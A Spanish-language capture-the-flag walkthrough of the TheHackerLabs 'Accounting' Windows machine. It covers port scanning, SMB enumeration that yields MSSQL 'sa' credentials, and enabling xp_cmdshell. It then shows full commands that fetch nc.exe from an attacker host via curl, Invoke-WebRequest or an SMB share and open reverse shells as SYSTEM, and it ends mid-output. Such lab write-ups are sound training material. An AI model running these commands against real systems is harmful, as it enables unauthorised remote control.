Accounting - TheHackerLabs

Una máquina que te puede sorprender si te confías. Después de analizar los escaneos, descubrimos una página web activa, descubrimos que no es necesario loguearnos en el servicio SMB para listar los recursos compartidos y que el servicio MSSQL se encuentra activo. Aplicando Fuzzing a la página web, descubrimos las credenciales de acceso, pero no podemos aprovecharnos de las funciones de la página, por lo que la descartamos. Enumerando el servicio SMB, descubrimos un archivo que contiene las credenciales de acceso del servicio MSSQL. Utilizando netexec, comprobamos que podemos loguearnos en el servicio MSSQL. Ya dentro del MSSQL, habilitamos el xp_cmdshell para ejecutar comandos, del que nos aprovechamos para aplicar una Reverse Shell y así obtener una sesión de la máquina víctima, siendo que nos conecta como el usuario administrador.

Herramientas utilizadas:

  • ping
  • nmap
  • wappalizer
  • wfuzz
  • gobuster
  • crackmapexec
  • smbclient
  • smbmap
  • netexec
  • impacket-mssqlclient
  • xp_cmdshell
  • nc.exe
  • powershell
  • Invoke-WebRequest
  • rlwrap
  • nc
  • impacket-smbserver
  • Python3
  • more






Recopilación de Información


Descubrimiento de Hosts

Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.

Lo haremos primero con nmap:

nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 11:11 CST
...
...
Nmap scan report for 192.168.1.150
Host is up (0.00092s latency).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Vamos a probar la herramienta arp-scan:

arp-scan -I eth0 -g 192.168.1.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.150   XX  	PCS Systemtechnik GmbH

Encontramos nuestro objetivo y es: 192.168.1.150.


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.1.150
PING 192.168.1.150 (192.168.1.150) 56(84) bytes of data.
64 bytes from 192.168.1.150: icmp_seq=1 ttl=128 time=1.09 ms
64 bytes from 192.168.1.150: icmp_seq=2 ttl=128 time=2.11 ms
64 bytes from 192.168.1.150: icmp_seq=3 ttl=128 time=1.30 ms
64 bytes from 192.168.1.150: icmp_seq=4 ttl=128 time=1.31 ms

Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.150 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 11:13 CST
Initiating ARP Ping Scan at 11:13
Scanning 192.168.1.150 [1 port]
Completed ARP Ping Scan at 11:13, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:13
Scanning 192.168.1.150 [65535 ports]
Discovered open port 445/tcp on 192.168.1.150
Discovered open port 135/tcp on 192.168.1.150
Discovered open port 139/tcp on 192.168.1.150
Discovered open port 9047/tcp on 192.168.1.150
Discovered open port 2103/tcp on 192.168.1.150
Discovered open port 7680/tcp on 192.168.1.150
Discovered open port 9080/tcp on 192.168.1.150
Discovered open port 9147/tcp on 192.168.1.150
Discovered open port 1801/tcp on 192.168.1.150
Discovered open port 1099/tcp on 192.168.1.150
Discovered open port 49665/tcp on 192.168.1.150
Discovered open port 9083/tcp on 192.168.1.150
Discovered open port 9081/tcp on 192.168.1.150
Discovered open port 49992/tcp on 192.168.1.150
Discovered open port 49669/tcp on 192.168.1.150
Discovered open port 5040/tcp on 192.168.1.150
Discovered open port 49667/tcp on 192.168.1.150
Discovered open port 49672/tcp on 192.168.1.150
Discovered open port 49666/tcp on 192.168.1.150
Discovered open port 2105/tcp on 192.168.1.150
Discovered open port 49681/tcp on 192.168.1.150
Discovered open port 49734/tcp on 192.168.1.150
Discovered open port 2107/tcp on 192.168.1.150
Discovered open port 49664/tcp on 192.168.1.150
Increasing send delay for 192.168.1.150 from 0 to 5 due to max_successful_tryno increase to 4
Discovered open port 9079/tcp on 192.168.1.150
Increasing send delay for 192.168.1.150 from 5 to 10 due to max_successful_tryno increase to 5
Discovered open port 49672/tcp on 192.168.1.150
Discovered open port 49667/tcp on 192.168.1.150
Completed SYN Stealth Scan at 11:14, 62.99s elapsed (65535 total ports)
Nmap scan report for 192.168.1.150
Host is up, received arp-response (0.041s latency).
Scanned at 2025-03-07 11:13:19 CST for 63s
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE        REASON
135/tcp   open  msrpc          syn-ack ttl 128
139/tcp   open  netbios-ssn    syn-ack ttl 128
445/tcp   open  microsoft-ds   syn-ack ttl 128
1099/tcp  open  rmiregistry    syn-ack ttl 128
1801/tcp  open  msmq           syn-ack ttl 128
2103/tcp  open  zephyr-clt     syn-ack ttl 128
2105/tcp  open  eklogin        syn-ack ttl 128
2107/tcp  open  msmq-mgmt      syn-ack ttl 128
5040/tcp  open  unknown        syn-ack ttl 128
7680/tcp  open  pando-pub      syn-ack ttl 128
9047/tcp  open  unknown        syn-ack ttl 128
9079/tcp  open  unknown        syn-ack ttl 128
9080/tcp  open  glrpc          syn-ack ttl 128
9081/tcp  open  cisco-aqos     syn-ack ttl 128
9083/tcp  open  emc-pp-mgmtsvc syn-ack ttl 128
9147/tcp  open  unknown        syn-ack ttl 128
49664/tcp open  unknown        syn-ack ttl 128
49665/tcp open  unknown        syn-ack ttl 128
49666/tcp open  unknown        syn-ack ttl 128
49667/tcp open  unknown        syn-ack ttl 128
49669/tcp open  unknown        syn-ack ttl 128
49672/tcp open  unknown        syn-ack ttl 128
49681/tcp open  unknown        syn-ack ttl 128
49734/tcp open  unknown        syn-ack ttl 128
49992/tcp open  unknown        syn-ack ttl 128
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 63.21 seconds
           Raw packets sent: 232516 (10.231MB) | Rcvd: 66132 (2.646MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Waos, son bastantes puertos abiertos. Esto se va a poner interesante.


Escaneo de Servicios

nmap -sCV -p 135,139,445,1099,1801,2103,2105,2107,5040,7680,9047,9079,9080,9081,9083,9147,49664,49665,49666,49667,49669,49672,49681,49734,49992 192.168.1.150 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 11:17 CST
Nmap scan report for 192.168.1.150
Host is up (0.0024s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1099/tcp  open  java-object   Java Object Serialization
1801/tcp  open  msmq?
2103/tcp  open  msrpc         Microsoft Windows RPC
2105/tcp  open  msrpc         Microsoft Windows RPC
2107/tcp  open  msrpc         Microsoft Windows RPC
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
9047/tcp  open  unknown
9079/tcp  open  unknown
9080/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9081/tcp  open  http          Microsoft Cassini httpd 4.0.1.6 (ASP.NET 4.0.30319)
|_http-server-header: Cassini/4.0.1.6
| http-title: Login Saci
|_Requested resource was /App/Login.aspx
9083/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9147/tcp  open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49734/tcp open  msrpc         Microsoft Windows RPC
49992/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   192.168.1.150\COMPAC: 
|     Target_Name: DESKTOP-M464J3M
|     NetBIOS_Domain_Name: DESKTOP-M464J3M
|     NetBIOS_Computer_Name: DESKTOP-M464J3M
|     DNS_Domain_Name: DESKTOP-M464J3M
|     DNS_Computer_Name: DESKTOP-M464J3M
|_    Product_Version: 10.0.19041
| ms-sql-info: 
|   192.168.1.150\COMPAC: 
|     Instance name: COMPAC
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 49992
|_    Clustered: false
|_ssl-date: 2025-03-07T18:20:21+00:00; +59m59s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-07T18:11:00
|_Not valid after:  2055-03-07T18:11:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1099-TCP:V=7.95%I=7%D=3/7%Time=67CB2A15%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-03-07T18:19:40
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: DESKTOP-M464J3M, NetBIOS user: <unknown>, NetBIOS MAC: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_clock-skew: mean: 59m58s, deviation: 0s, median: 59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.81 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Veo varias cosillas que podemos hacer por aquí.

Para empezar, parece que podremos enumerar el servicio SMB, ya que el escaneo nos indica que no es necesario loguearse, pero hay que comprobarlo primero.

Parece haber una página web activa en el puerto 9081, que es lo primero que vamos a investigar.

Y por último, está activo el servicio MSSQL en el puerto 49992, por lo que probablemente podamos aprovecharnos de este más adelante.

Bien, vayamos a ver esa página.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Esto es un login de una aplicación web o software llamado CONTPAQi. Investiguemos de que se trata:

CONTPAQi
CONTPAQi es un software administrativo empresarial que ayuda a las empresas a gestionar su contabilidad, nómina, facturación, y más. Es una de las herramientas favoritas de los contadores en México.


Entonces, es un software de administración empresarial de contabilidad.

Veamos que nos dice Wappalizer:

Parece que funciona con ASP.NET, por lo que podríamos buscar archivos ASP/ASPX, pero primero quiero ver si no hay algún directorio o archivo que podamos ver aplicando Fuzzing.


Fuzzing

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.150:9081/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.150:9081/FUZZ
Total requests: 220545

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000002:   302        3 L      8 W        125 Ch      "images"                                                                                                                     
000000003:   302        3 L      8 W        127 Ch      "download"                                                                                                                   
000000536:   302        3 L      8 W        122 Ch      "css"                                                                                                                        
000000076:   302        3 L      8 W        123 Ch      "docs"
...
...
...
Total time: 0
Processed Requests: 220545
Filtered Requests: 220479
Requests/sec.: 0
Parámetros Descripción
-c Para ver el resultado en un formato colorido.
–hc Para no mostrar un código de estado en los resultados.
-t Para indicar la cantidad de hilos a usar.
-w Para indicar el diccionario a usar en el fuzzing.


Ahora probemos con gobuster:

gobuster dir -u http://192.168.1.150:9081/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.150:9081/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 302) [Size: 122] [--> /img/]
/images               (Status: 302) [Size: 125] [--> /images/]
/download             (Status: 302) [Size: 127] [--> /download/]
/docs                 (Status: 302) [Size: 123] [--> /docs/]
...
...
...
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.


Hay varios directorios, pero si revisamos el directorio /download, veremos un archivo de texto:

Vamos a verlo:

Parecen ser un usuario y contraseña.

Si los probamos en el login, podremos ganar acceso:

Muy bien, el problema es que aquí no podremos hacer nada, ya que nos pedirá registrar una empresa y a veces tendrá fallos al momento de usar algunas de sus funciones, por lo que podemos descartar esta página web para poder usarla contra la máquina víctima.


Enumeración de Servicio SMB

Veamos que información nos da crackmapexec:

crackmapexec smb 192.168.1.150
SMB         192.168.1.150  445    DESKTOP-M464J3M  [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M) (signing:False) (SMBv1:False)

Excelente, si veo probable que podamos enumerar el servicio.

Veamos si podemos listar los recursos compartidos con smbclient:

smbclient -L //192.168.1.150// -N
.
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Admin remota
	C$              Disk      Recurso predeterminado
	Compac          Disk      
	IPC$            IPC       IPC remota
	Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.150 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Podemos listarlos.

Si tratamos de usar smbmap, necesitaremos indicarle un usuario nulo:

smbmap -H 192.168.1.150 -u none
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.1.150:445	Name: 192.168.1.150      	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Compac                                            	READ, WRITE	
	IPC$                                              	READ ONLY	IPC remota
	Users                                             	READ ONLY	
[*] Closed 1 connections

Parece que podemos listar los recursos del directorio Compac.

Revisando un poco el contenido de este recurso, encontramos un archivo de texto dentro de Compac/Empresas llamado SQL.txt:

smbmap -H 192.168.1.150 -u none -r Compac/Empresas
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.1.150:445	Name: 192.168.1.150      	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Compac                                            	READ, WRITE	
	./CompacEmpresas
	dr--r--r--                0 Fri May 10 21:14:07 2024	.
	dr--r--r--                0 Fri May 10 21:14:07 2024	..
	dr--r--r--                0 Fri May 10 21:14:07 2024	Esquemas
	dr--r--r--                0 Fri May 10 21:14:07 2024	Reportes
	fr--r--r--              448 Fri May 10 21:14:07 2024	SQL.txt
	IPC$                                              	READ ONLY	IPC remota
	Users                                             	READ ONLY	
[*] Closed 1 connections

Vamos a descargarlo:

smbmap -H 192.168.1.150 -u none --download Compac/Empresas/SQL.txt
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[+] Starting download: Compac\Empresas\SQL.txt (448 bytes)                                                               
[+] File output to: /../TheHackersLabs/Accounting/content/192.168.1.150-Compac_Empresas_SQL.txt
[*] Closed 1 connections

Y ahora veamos su contenido:

cat 192.168.1.150-Compac_Empresas_SQL.txt
SQL 2017 
Instancia COMPAC 
sa 
******

ip
127.0.0.1

Tip para terminar instalaciones
1) Ejecutar seguridad de icono
Sobre el icono asegurarse que diga ejecutar como Administrador.

2) Ejecutar el comando regedit...
Buscar la llave Hkey Local Machine, luego Software, luego Wow32, Computacion en Accion...(abri pantalla con boton del lado derecho
donde dice seguridad y ver que aparezca "everyone" y darle control total

Parece que tenemos la contraseña para entrar al servicio MSSQL.




Explotación de Vulnerabilidades


Conectandonos al Servicio MSSQL y Activando xp_cmdshell

Vamos a comprobar si estas credenciales sirven para entrar en el servicio MSSQL con la herramienta netexec, ya que parece que crackmapexec tiene problemas para comprobarlo:

netexec mssql 192.168.1.150 --port 49992 -u 'sa' -p '******' --local-auth
MSSQL       192.168.1.150  49992  DESKTOP-M464J3M  [*] Windows 10 / Server 2019 Build 19041 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M)
MSSQL       192.168.1.150  49992  DESKTOP-M464J3M  [+] DESKTOP-M464J3M\sa:****** (Pwn3d!)

Excelente, podemos conectarnos.

Lo haremos con la herramienta impacket-mssqlclient:

impacket-mssqlclient DESKTOP-M464J3M/sa:******@192.168.1.150 -p 49992
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DESKTOP-M464J3M\COMPAC): Line 1: Changed database context to 'master'.
[*] INFO(DESKTOP-M464J3M\COMPAC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

Listo, estamos dentro.

Ahora, veamos qué comandos podemos usar:

SQL (sa  dbo@master)> help
.
    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query

Podemos habilitar xp_cmdshell para poder ejecutar comandos.

Habilitémoslo:

SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DESKTOP-M464J3M\COMPAC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DESKTOP-M464J3M\COMPAC): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

Probemos a ejecutar un comando:

SQL (sa  dbo@master)> xp_cmdshell "whoami"
output                
-------------------   
nt authority\system   

NULL

Genial, parece que somos el administrador.

En caso de que no pudiéramos habilitar xp_cmdshell con el comando enable_xp_cmdshell, podemos hacerlo de forma manual:

SQL (sa  dbo@master)> SP_CONFIGURE "show advanced options", 1;
INFO(DESKTOP-M464J3M\COMPAC): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> RECONFIGURE;
SQL (sa  dbo@master)> SP_CONFIGURE "xp_cmdshell", 1;
INFO(DESKTOP-M464J3M\COMPAC): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> RECONFIGURE;




Post Explotación


Obteniendo Reverse Shell de la Máquina Víctima Mediante Varios Métodos

La idea es que podamos utilizar una shell con la que podamos movernos libremente.

Existen varias formas que podemos hacerlo, pero lo que sí vamos a utilizar en todas, es el binario netcat / binario nc.exe.

La idea es cargar el binario nc.exe para poder mandarnos una Reverse Shell desde la máquina víctima a la nuestra.

Dentro de Kali, ya tenemos varios binarios que podemos utilizar, entre ellos el binario nc.exe:

locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

Cópialo dentro de tu directorio de trabajo.

Y vamos a crear un directorio temporal en donde guardaremos ese binario:

SQL (sa  dbo@master)> xp_cmdshell "mkdir C:\Temp"
output   
------   
NULL

Listo, veamos que formas tenemos de cargarlo o usar este binario.


Cargando Binario nc.exe con curl y Obteniendo Reverse Shell

Comprobamos que exista y que podemos usar el comando curl:

SQL (sa  dbo@master)> xp_cmdshell "curl"
output                                         
--------------------------------------------   
curl: try 'curl --help' for more information   

NULL 

Excelente, si lo tenemos.

Abre un servidor de Python en donde tengas el binario nc.exe:

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora, vamos a descargar el binario nc.exe utilizando curl:

SQL (sa  dbo@master)> xp_cmdshell "curl http://Tu_IP/nc.exe -o C:\Temp\nc.exe"
output                                                                             
--------------------------------------------------------------------------------   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current    

                                 Dload  Upload   Total   Spent    Left  Speed      

100 59392  100 59392    0     0  4047k      0 --:--:-- --:--:-- --:--:-- 4142k   

NULL

Abre una netcat con rlwrap en tu máquina:

rlwrap nc -nlvp 443
listening on [any] 443 ...

Y envía una Reverse Shell utilizando el binario nc.exe:

SQL (sa  dbo@master)> xp_cmdshell "C:\Temp\nc.exe -e cmd Tu_IP 443"

Observa tu netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.150] 50015
Microsoft Windows [Versi�n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whoami
whoami
nt authority\system

Listo, tenemos una shell y somos el Administrador.


Utilizando cmdlet Invoke-WebRequest de PowerShell para Descargar Binario nc.exe y Obteniendo Reverse Shell

Para el caso anterior, utilizamos curl, pero ¿y si no lo tuviéramos?

Tenemos otras opciones, como utilizar el comando iex de PowerShell para ejecutar archivos web de manera remota, pero en mi caso este no me funciono.

Por lo que vamos a probar a descargar el binario nc.exe desde la máquina víctima, con el cmdlet Invoke-WebRequest de PowerShell.

Probemos si podemos ejecutar comandos de PowerShell:

SQL (sa  dbo@master)> xp_cmdshell powershell -c "whoami"
output                
-------------------   
nt authority\system   

NULL

Sí funciona.

Abre un servidor de Python en donde tengas el binario nc.exe:

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Probemos el cmdlet:

SQL (sa  dbo@master)> xp_cmdshell powershell -c "Invoke-WebRequest -Uri "http://Tu_IP/nc.exe" -OutFile "C:\Temp\nc.exe""
output   
------   
NULL

Comprobemos si se descargó el binario:

SQL (sa  dbo@master)> xp_cmdshell "dir C:\Temp"
output                                               
--------------------------------------------------
...
...
...
03/07/2025  04:51 PM            59,392 nc.exe

Ahí está.

Abre una netcat con rlwrap en tu máquina:

rlwrap nc -nlvp 443
listening on [any] 443 ...

Y envía una Reverse Shell utilizando el binario nc.exe:

SQL (sa  dbo@master)> xp_cmdshell "C:\Temp\nc.exe -e cmd Tu_IP 443"

Observa la netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.150] 50015
Microsoft Windows [Versi�n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whoami
whoami
nt authority\system


Creando Servidor SMB con impacket-smbserver, Ejecutando Binario nc.exe de Manera Remota para Obtener Reverse Shell y Leyendo Archivo Tipo ADS

Otra opción que podemos usar, es levantar un servidor SMB en nuestra máquina, para poder ejecutar el binario nc.exe de manera remota desde la máquina víctima.

Levantemos el servidor SMB en nuestro directorio de trabajo:

impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID ...
...

Recuerda abrir una netcat con rlwrap:

rlwrap nc -nlvp 443
listening on [any] 443 ...

Ejecutemos el binario de manera remota, invocándolo como recurso compartido:

SQL (sa  dbo@master)> xp_cmdshell "\\Tu_IP\smbFolder\nc.exe -e cmd Tu_IP 443"
output   
------   
NULL

Observa lo que pasa en nuestro servidor SMB:

impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
...
...
...
[*] Incoming connection (192.168.1.150,49741)
[*] AUTHENTICATE_MESSAGE (\,DESKTOP-M464J3M)
[*] User DESKTOP-M464J3M\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
[-] Unknown level for query path info! 0x3b
[-] Unknown level for query path info! 0xf

Y observa la netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.150] 49742
Microsoft Windows [Versi�n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whoami
whoami
nt authority\system

Ya solamente buscamos las flags:

C:\Windows\system32>cd C:\Users\contpaqi\Desktop
cd C:\Users\contpaqi\Desktop

C:\Users\contpaqi\Desktop> C:\Users\contpaqi\Desktop>type user.txt
type user.txt
...

C:\Users\contpaqi\Desktop>cd Users\admin\Desktop
cd Users\admin\Desktop

C:\Users\admin\Desktop> C:\Users\admin\Desktop>type root.txt
type root.txt
                      ____...                                  
             .-"--"""".__    `.                                
            |            `    |                                
  (         `._....------.._.:          
   )         .()''        ``().                                
  '          () .=='  `===  `-.         
   . )       (         g)                                
    )         )     /        J          
   (          |.   /      . (                                  
   $$         (.  (_'.   , )|`                                 
   ||         |\`-....--'/  ' \                                
  /||.         \\ | | | /  /   \.                              
 //||(\         \`-===-'  '     \o.                            
.//7' |)         `. --   / (     OObaaaad888b.                 
(<<. / |     .a888b`.__.'d\     OO888888888888a.               
 \  Y' |    .8888888aaaa88POOOOOO888888888888888.              
  \  \ |   .888888888888888888888888888888888888b              
   |   |  .d88888P88888888888888888888888b8888888.             
   b.--d .d88888P8888888888888888a:f888888|888888b             
   88888b 888888|8888888888888888888888888\8888888

Buena esa, parece que no tenemos la flag del Administrador.

Siempre es bueno revisar si hay archivos ocultos y este es el caso:

C:\Users\admin\Desktop>dir /r
dir /r
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: A622-5802

